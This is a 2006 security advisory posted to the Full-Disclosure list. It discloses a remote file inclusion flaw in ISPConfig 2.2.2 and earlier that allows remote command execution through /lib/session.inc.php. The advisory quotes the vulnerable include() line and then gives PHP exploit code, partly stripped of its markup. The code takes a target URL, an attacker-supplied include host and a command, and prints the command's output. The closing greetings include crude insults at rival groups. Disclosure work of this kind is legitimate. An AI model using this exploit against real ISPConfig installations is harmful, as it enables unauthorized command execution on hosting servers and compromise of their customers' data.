======================================================================================= XOR Crew :: Security Advisory 5/6/2006 ======================================================================================= ISPConfig <= 2.2.2 - Remote Command Execution Vulnerability ======================================================================================= http://www.xorcrew.net/ http://www.xorcrew.net/ReZEN ======================================================================================= :: Summary Vendor : ISPConfig Vendor Site : http://www.ispconfig.org/ Product(s) : ISPConfig Version(s) : All Severity : Medium/High Impact : Remote Command Execution Release Date : 5/6/2006 Credits : ReZEN (rezen (a) xorcrew (.) net) ======================================================================================= I. Description ISPConfig is a fully-fledged solution for multi-domain Internet hosts, covering email, FTP, database and Web services through a nifty control panel. Throw in security, customer management and a billing solution, and it gets pretty attractive. ======================================================================================= II. Synopsis There is a remote file inclusion vulnerability that allows for remote command execution in the /lib/session.inc.php file. The bug is here: include($go_info["server"]["classes_root"] . $go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php"); the $go_info["server"]["classes_root"] variable is not set prior to being used in the include() function. The vendor and support team have been contacted. ======================================================================================= Exploit code: -----BEGIN----- " ."turl:

" ."hurl:

" ."cmd:

" ."" ."
"; if (!isset($_POST['submit'])) { echo $form; }else{ $file = fopen ("test.txt", "w+"); fwrite($file, ""); fclose($file); $file = fopen ($turl.$hurl, "r"); if (!$file) { echo "

Unable to get output.\n"; exit; } echo $form; while (!feof ($file)) { $line .= fgets ($file, 1024)."
"; } $tpos1 = strpos($line, "++BEGIN++"); $tpos2 = strpos($line, "++END++"); $tpos1 = $tpos1+strlen("++BEGIN++"); $tpos2 = $tpos2-$tpos1; $output = substr($line, $tpos1, $tpos2); echo $output; } ?> ------END------ ======================================================================================= IV. Greets :> All of xor, Infinity, stokhli, ajax, gml, my beautiful girlfriend. !!!SP3C14L GR33TZ G03S 0UT T0 MY G00D FR13ND CIJFER!!! !!!F*CK YOU to r0t der4444 cembo VietMafia (Pridels Sec Crew)!!! ======================================================================================= _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/